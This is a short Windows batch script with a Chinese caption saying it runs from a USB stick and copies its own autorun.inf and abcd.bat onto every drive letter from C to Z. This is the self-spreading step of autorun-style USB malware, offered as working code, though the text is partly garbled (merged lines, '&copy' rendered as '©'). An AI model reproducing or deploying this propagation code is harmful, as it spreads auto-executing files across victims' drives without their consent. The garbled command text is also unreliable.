@echo offfor %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (cd /d %%a:\&&(copy /y "%~dp0autorun.inf" "%%a:\"© /y "%~dp0abcd.bat" "%%a:\"))pause
批处理在U盘里执行.复制批处理所在目录中autorun.inf和abcd.bat到各个分区中.